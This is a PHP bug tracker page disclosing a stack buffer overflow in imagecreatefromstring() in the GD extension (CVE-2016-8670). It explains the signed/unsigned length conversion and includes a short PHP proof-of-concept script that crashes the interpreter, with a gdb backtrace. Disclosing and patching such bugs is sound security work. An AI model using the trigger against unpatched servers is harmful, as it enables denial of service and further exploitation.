|
php.net | support | documentation | report a bug | advanced search | search howto | statistics | random bug | login |
PatchesPull RequestsHistoryAllCommentsChangesGit/SVN commits
[2016-10-10 11:22 UTC] emmanuel dot law at gmail dot com
[2016-10-11 04:57 UTC] stas@php.net
-Assigned To:
+Assigned To: pajoye
[2016-10-11 04:57 UTC] stas@php.net
[2016-10-11 23:54 UTC] stas@php.net
-Assigned To: pajoye
+Assigned To: cmb
[2016-10-13 09:43 UTC] cmb@php.net
-Status: Assigned
+Status: Closed
[2016-10-13 09:43 UTC] cmb@php.net
[2016-10-14 01:02 UTC] ab@php.net
[2016-10-14 02:22 UTC] ab@php.net
[2016-10-14 02:23 UTC] ab@php.net
[2016-10-15 09:03 UTC] remi@php.net
-CVE-ID:
+CVE-ID: 2016-6911
[2016-10-16 23:33 UTC] emmanuel dot law at gmail dot com
[2016-10-17 04:44 UTC] remi@php.net
-CVE-ID: 2016-6911
+CVE-ID: 2016-8670
[2016-10-17 10:06 UTC] bwoebi@php.net
[2016-10-17 10:07 UTC] bwoebi@php.net
[2017-02-13 02:02 UTC] stas@php.net
-Type: Security
+Type: Bug
-PHP Version: 7.0.11
+PHP Version: 5.6.28
|
|||||||||||||||||||||||||||
Copyright © 2001-2025 The PHP GroupAll rights reserved. |
Last updated: Sat Oct 25 05:00:02 2025 UTC |
Description: ------------ 1) imagecreatefromstring() takes in a string and attempts to convert it into an image. The string is in the variable "data" and the length is stored as size_t (unsigned) within a zend_string structure as seen below. When passed into gdNewDynamicCtxEx(), it gets converted implicitly into an int (signed). If the MSB of the size_t is 1, when converting to an int, this becomes a negative number. _php_image_create_from_string(...) at php-7.0.11/ext/gd/gd.c:2227 io_ctx = gdNewDynamicCtxEx(Z_STRLEN_P(data), Z_STRVAL_P(data), 0); 2) Tracing the code deeper, the size is set to dp (dynamicPtr) below allocDynamic(...) at ext/gd/libgd/gd_io_dp.c:272 280 dp->logicalSize = initialSize; 3) During the image conversion, dynamicGetchar() gets called to read 1 byte (line 257). dynamicGetchar(..) at ext/gd/libgd/gd_io_dp.c 254 unsigned char b; 255 int rv; 256 257 rv = dynamicGetbuf (ctx, &b, 1); 4) Tracing into dynamicGetbuf(), because "remain" (line 236) is negative due to the int conversion, line 243 gets executed and more than 1 byte will be memcpy (line 246). This memcpy would copy bytes to "bu"f which is 1-byte char on the stack. This results in a stack buffer over flow. dynamicGetbuf (gdIOCtxPtr ctx, void *buf, int len) at ext/gd/libgd/gd_io_dp.c:237 236 remain = dp->logicalSize - dp->pos; 237 if (remain >= len) { 238 rlen = len; 239 } else { 240 if (remain == 0) { 241 return EOF; 242 } 243 rlen = remain; 244 } 245 246 memcpy(buf, (void *) ((char *) dp->data + dp->pos), rlen); Test script: --------------- <?php ini_set('memory_limit',-1); $var_3 = str_repeat("A",4294967286); $var_3[0]="\x00"; $var_3[1]="\x00"; $var_3[2]="\x00"; $var_3[3]="\x00"; $var_3[4]="\x00"; $var_3[5]="\x00"; $var_3[6]="\x00"; $var_3[7]="\x00"; imagecreatefromstring($var_3); ?> $> ./php-7.0.11 test.php Segmentation fault *Note that I trigger this via "WBMP" processing. But it could be triggered via any other format such as GD2, GIF etc. Actual result: -------------- Segfault and corrupted stack Stopped reason: SIGSEGV __memcpy_sse2_unaligned () at ../sysdeps/x86_64/multiarch/memcpy-sse2-unaligned.S:154 154 in ../sysdeps/x86_64/multiarch/memcpy-sse2-unaligned.S gdb-peda$ bt #0 __memcpy_sse2_unaligned () at ../sysdeps/x86_64/multiarch/memcpy-sse2-unaligned.S:154 #1 0x00000000006760b4 in dynamicGetbuf (ctx=0x7fffec402000, buf=0x7fffffffa5f3, len=0x1) at /root/php-7.0.11/ext/gd/libgd/gd_io_dp.c:246 #2 0x06000000026760ff in ?? () #3 0x0000000000000000 in ?? ()